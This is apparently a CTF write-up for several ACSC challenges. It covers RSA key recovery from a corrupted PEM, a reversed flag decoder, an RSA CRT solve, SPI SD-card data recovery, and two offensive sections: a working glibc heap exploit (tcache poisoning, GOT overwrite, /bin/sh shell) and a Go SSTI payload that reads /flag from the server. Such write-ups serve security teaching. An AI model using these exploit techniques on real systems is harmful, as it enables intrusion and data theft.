0??1??0?????????????????b?????d??2???????????2?????4??????????????2??a??d??3??5???????????a???????????f?????a?????9????????f??b?????d??e??9??4??d??8??c??e??1??7??8??d??0??f??4??d??5??a??0??0??f??e??1??5??5??d??7??2??6??1??e??4??6??5??f??b??e??d??5??0??e??1??c??5??
# prime2
028181??b??2??6??2??d??6??c??9??1??b??d??7??b??d??c??c??4??4??b??f??7??6??4??6??c??0??3??e??4??c??a??1??a??6??d??f??7??8??9??c??e??d??d??4??d??6??5??3??c??4??b??e??3??7??0??e??3??3??e??0??2??a??4??0??9??4??1??5??2??c??1??6??a??8??a??e??5??c??6??c??0??6??0??0??4??5
# exp1
???180???5??7?????91561f9?????5b26??dc9??67c5??1f?????52a7e978e?????8??4??d905???6bc2??5??c??????????9???f??88f??????0?????252c????0??8502d????de?????2????c?????????7a1fcda????????cbc?????4??4f????5??90??3a3???1c5c????64??d675??1c7??e?????e???b??2??a????a??37???
# exp2
?????0610760????????1????b?????e??f???2abb9a6????e??da??4ea??cb????????890d6a4????1???9??4??f???????50eede2??9?????2???4??a????4b??7b4??7??7b????2??29cc??f0f09bd????????e0??2ad9???????3??e??????87b??0???5????e???e7f5ec6????8??0???????????a??2??09??3dba????????31
# coeff
02??810???490????????44632e9??d???0????f??2a??4cf1????6586?????52??4???????8??aced9d44??78a7b8fa1d??564b81??b??f??b81e??72b5???272e??c????d?????????04f???806??428a??2??9?????2112e22?????485c??9??????738967??6??b?????f???0??f??5??7????33????4???0??7708cde????e8??2?
```

In this condition, We can use Branch-and-Prune method to extract lower half of bits. After extracting these informations, we can do Coppersmith's attack to reveal all of the p and q.

Before doing actual scripting, I investigate paramators of the Coppersmith's attack by creating own examples to make sure the script working.

```python=
from ctf import *

BITS = 1024
p = getPrime(BITS)
q = getPrime(BITS)
n = p*q


# length = 534
length = 534
mod = 2**length
COPPERSMITH_BITS = BITS - length

for lower in (p % mod, q % mod):
  PR.<x> = PolynomialRing(Zmod(n))
  f = x * mod + lower
  f = f.monic()

  x_cands = f.small_roots(X=2**COPPERSMITH_BITS, beta=0.48, epsilon=0.02)
  print(x_cands)
  if len(x_cands) == 0: continue

  p = int(x_cands[0] * mod + lower)
  print(f'\n[+] {p=}')
  assert n % p == 0
```

Following is the final script:

```python=
# pem is generated by:
# ssh-keygen -f "key.pem" -N "" -t rsa -m pem -b 2048

from base64 import b64decode
from tqdm import tqdm
from Crypto.PublicKey import RSA

def pem_to_bits(pos):
  key = open(pos, "r").read()
  b64 = ''
  for l in key.splitlines():
    if l.startswith("-"): continue
    b64 += l
  lower = b64.replace('?', 'A')
  upper = b64.replace('?', '/')
  l = b64decode(lower)
  u = b64decode(upper)
  bins = []
  for c1, c2 in zip(l, u):
    cur = []
    for i in range(8):
      if (c1 & 1) == (c2 & 1): cur.append(c1 & 1)
      else: cur.append(-1)
      c1 >>= 1
      c2 >>= 1
    bins += cur[::-1]
  return bins

component_lens = [8//2, 6//2, 522//2, 10//2, 522//2, 264//2, 264//2]

bins = pem_to_bits("corrupted.pem")

components = []
for length in component_lens:
  cur, bins = bins[:length*8], bins[length*8:] 
  components.append(cur)

n_bits = components[2][4*8:]
p_bits = components[5][3*8:]
q_bits = components[6][3*8:]

n = int("".join([*map(str, n_bits)]), 2)
mod = 1
length = 0
cands = [(0, 0)]
while length < 67*8 - 2:
  mod *= 2
  length += 1
  nxt_cands = []
  for p_bit in ([0, 1] if p_bits[-length] == -1 else [p_bits[-length]]):
    for q_bit in ([0, 1] if q_bits[-length] == -1 else [q_bits[-length]]):
      for p, q in cands:
        nxtp = p + p_bit * (mod // 2)
        nxtq = q + q_bit * (mod // 2)
        if nxtp * nxtq % mod == n % mod:
          nxt_cands.append((nxtp, nxtq))
  cands = nxt_cands

print(length, cands)

assert len(cands) == 1

BITS = 1024
COPPERSMITH_BITS = BITS - length

for lower in cands[0]:
  PR.<x> = PolynomialRing(Zmod(n))
  f = x * mod + lower
  f = f.monic()

  x_cands = f.small_roots(X=2**COPPERSMITH_BITS, beta=0.48, epsilon=0.02)
  print(x_cands)
  if len(x_cands) == 0: continue

  p = int(x_cands[0] * mod + lower)
  print(f'\n[+] {p=}')
  assert n % p == 0
  break

q = n // p

e = 65537
d = pow(e, -1, (p - 1) * (q - 1))

key = RSA.construct((int(n), int(e), int(d)))
data = key.exportKey(pkcs=1)

open("recovered.key", "wb").write(data)
```

## ngo

First, we need to search the main function. Execute the binary with `wine`, you can find that strings like `The flag is "ACSC{` is printed in advance of the actual flag part. By tracking this reference, I manage to found the main function. Next, I port the process of computing the flag to Python. It looks like this:

```python=
encoded = b'\x01\x19\xef\x5a\xfa\xc8\x2e\x69\x31\xd7\x81\x21'

DAT_14000801c = 0x3D2964F0

mx = 1
for i in range(0xc):
  for j in range(mx):
    DAT_14000801c = DAT_14000801c >> 1 ^ -(DAT_14000801c & 1) & 0x80200003
  print(chr((encoded[i] ^ DAT_14000801c) & 0xff))
  mx = mx * 0x2a
```

You can notice that the line 8 is doing the division on the residue class of polynomial ring over the GF(2). Using this, we can remove the inner loop to speed up decoding.

```python=
encoded = b'\x01\x19\xef\x5a\xfa\xc8\x2e\x69\x31\xd7\x81\x21'

P.<x> = PolynomialRing(GF(2))

poly = 0
for b in bin(0x80200003)[2:]:
  if b == "1":
    poly += 1
  poly *= x

poly += 1

print(f'{poly=}')

F.<x> = GF(2^32, modulus=poly)
key = F.fetch_int(0x3D2964F0)

flag = "ACSC{"

div = 1
for i in range(0xc):
  key /= x^div
  flag += chr((encoded[i] ^^ key.integer_representation()) & 0xff)
  div = div * 0x2a

flag += "}"
print(flag)
```

## re

You can create overwrapped chunk by abusing realloc behaviour that `realloc(ptr, 0)` leads to freeing the chunk. Using this, we can poison tcache to realize AAR / AAW. The overview of the following exploit is as follows:

 1. create overwrapped chunk for aar / aaw
 2. aaw to create footer of the fakechunk
 3. create overwrapped chunk for the libc leak
 4. aaw to create header of the fakechunk that has size larger than tcache_max 
 5. free fakechk / leak libc address
 6. adjust chunks to make heap suitable
 7. aaw libc got to make `memcpy@got` as `xor edx, edx; call system`
 8. place `/bin/sh`
 9. enlarge chunk to ignite the chain

```python=
from ctf import *

BIN_NAME = './chall'
LOCAL = False

chall = ELF(BIN_NAME)

if LOCAL: stream = process(BIN_NAME)
else: stream = remote("nc re.chal.ctf.acsc.asia 9999")

def reconnect():
  global stream
  stream.close()
  if LOCAL: stream = process(BIN_NAME)
  else: stream = remote("nc re.chal.ctf.acsc.asia 9999")

def edit(ind, size, content):
  print(f'edit({ind}, {size}, {content})')
  stream.sendlineafter('> ', '1')
  stream.sendlineafter(': ', ind)
  stream.sendlineafter(': ', size)
  if 2 <= size:
    stream.sendlineafter(': ', content)

def show():
  stream.sendlineafter('> ', '2')

  output = stream.recvuntil(b'\nMENU', drop=True, lookahead=True)
  print(output)
  res = [None] * 10
  for i in range(10)[::-1]:
    ind = output.find(f'[{i}]'.encode())
    if ind == -1: continue
    res[i] = output[(ind + 4):-1]
    output = output[:ind]
  return res

edit(0, 0x30, b'')
edit(0, 0, b'')
edit(1, 0x30, b'')
edit(2, 0x30, b'')
edit(0, 0, b'')

edit(2, 0, b'')

heap_base = u64(show()[1]) << 12
print(f'{hex(heap_base)=}')

def aaw(addr, content, addr1, addr2):
  print(f"[+] * {hex(addr)} <= {content.hex()}")
  edit(1, 0x30, b'\x00' * 0x18) # avoid double free
  edit(0, 0, b'')
  edit(1, 0x30, p64(addr ^ (heap_base >> 12))[:-1])
  edit(addr1, 0x30, b'')
  edit(addr2, 0x30, content)

# AAW to create fakecnk  
aaw(heap_base + 0x740, p64(0) + p64(0x21) + b'\x00' * 0x18 + p64(0x21)[:-4], 8, 3)

edit(8, 0x40, b'')
edit(8, 0, b'')
edit(9, 0x40, b'')
edit(8, 0, b'')

aaw(heap_base + 0x310, p64(0) + p64(0x431), 4, 5)

edit(8, 0, b'')
arena_addr = u64(show()[9])

print(f'{hex(arena_addr)=}')
libc = ELF('lib/libc.so.6')
libc.base = arena_addr - 0x219ce0

edit(2, 0x50, b'\x00' * 16)
#          xor edx, edx;  pop rbx; jmp _dl_rtld_di_serinfo@plt;          do_system+2
#                                              V                           V
aaw(libc.base + 0x219000 + 0x160, p64(libc.base + 0x903a4) + p64(libc.base + 0x508f2), 6, 7)
edit(4, 0x30, b'\x00' * 16)
pause()

edit(8, 0x60, b'\x00' * 0x18 + p64(0x411) + b'\x00' * 0x28 + p64(0x20ca1) + b'/bin/sh')

stream.sendlineafter('> ', '1')
stream.sendlineafter(': ', 4)
stream.sendlineafter(': ', 0x50)

stream.interactive()
````

## Check_number_63
By $c\varphi+1=ed \Rightarrow \varphi \equiv -\frac{1}{c} \pmod e$, we can compute $\varphi \pmod {\prod e_i}$ using CRT. Using the fact that $\varphi=(p-1)(q-1)=pq-p-q+1$, we can also compute $p+q \pmod {\prod e_i}$. Since $\prod e_i<2^{1009}<p+q<2^{1025}$, we can't directly determine $p+q$. However, we can easily iterate candidates of the $p+q$. Let's assume that now we have $p+q$. Then, we are able to obtain $p$ and $q$ by solving quadratic equations.

```python=
from ctf.sage import *
from hashlib import sha512

from tqdm import tqdm

out = open("output.txt", "r")

exec(out.readline()) # n

rem = []
mod = []

total = 1

while True:
  l = out.readline()
  if len(l) == 0: break
  e, check = map(int, l.split(":"))
  rem.append(inverse(e-check, e))
  mod.append(e)
  total *= e


phi = crt(rem, mod)

ppq = (n - phi + 1) % total

ppqs = []

while ppq < (2**1024 * 2):
  ppqs.append(ppq)
  ppq += total

p, q = None, None
for ppq in tqdm(ppqs):
  d = ppq^2 - 4 * n
  if not is_square(d): continue
  p = (ppq + sqrt(d)) // 2
  q = n // p
  print(f'{p=}\n{q=}\n{p*q=}\n{n=}')
  if p != 1 and p * q == n:
    break
  else:
    print("[!] invalid")
    p = None
    q = None

if p == None: exit(0)

if p > q:p,q = q,p
flag = "ACSC{" + sha512( f"{p}{q}".encode() ).hexdigest() + "}" 

print(flag)
```

## easySSTI

After the messing around with properties of the context object by VSCode, I accidentaly found the `FS` object is accesible.

![](https://i.imgur.com/OCJ7axQ.png)

Using this, we can smuggle the flag information from the server by just printing `[]byte`.

```python=
import requests
from urllib.parse import quote

# https://pkg.go.dev/github.com/labstack/echo#Context
# https://pkg.go.dev/github.com/labstack/echo#Echo

# https://pkg.go.dev/text/template

HOST = "http://easyssti.chal.ctf.acsc.asia:8000/"

TEMPLATE = """
{{ $a := .Echo.Filesystem.Open "/flag" }} {{ $buf := .Get "template" }} {{ $a.Read $buf }} {{ $buf }}
""".replace("\n", " ").strip()

res = requests.get(
    HOST,
    headers={
        "template": TEMPLATE
    }
).text
print(res)
print("".join([chr(int(item)) for item in res.split('[')[1].split(']')[0].split()]))
```

## Hardware is not so hard

I noticed that the long data comes after the particular pattern, which is `51000000XXXX`. After some research, I found that this pattern represents the command to the SD Card.

> ![](https://i.imgur.com/6dmApzS.png)
> **figure from [this](https://www.st.com/resource/en/application_note/an5595-spc58xexspc58xgx-multimedia-card-via-spi-interface-stmicroelectronics.pdf) article**

According to [this article](http://elm-chan.org/docs/mmc/mmc_e.html), argument of the CMD17 represents the address of the block. Using this information, I wrote the script that re-orders the data. After saving the concatinated data as JPG image, You can find the flag inside the image.

```python=
l = open("spi.txt", "r")

res = open("raw.jpg", "wb")

sep = bytes.fromhex("fffffffffffffe")

s = [None] * 64

ind = -1
while True:
  line = l.readline()
  if " : " not in line: break
  data = bytes.fromhex(line.split(" : ")[1])
  if data[0] == 0x51:
    ind = data[-2]
    arg = data[-4:-1]
    print(data[0] & 0b00111111, arg)
  if sep in data:
    data = data.split(sep)[1][:-2]
    print(len(data))
    s[ind] = data

for i in range(len(s)):
  if s[i] is None:
    print(f'[+] none: {i}')
    continue
  res.write(s[i])
```
![](https://i.imgur.com/4rCfbSt.jpg)
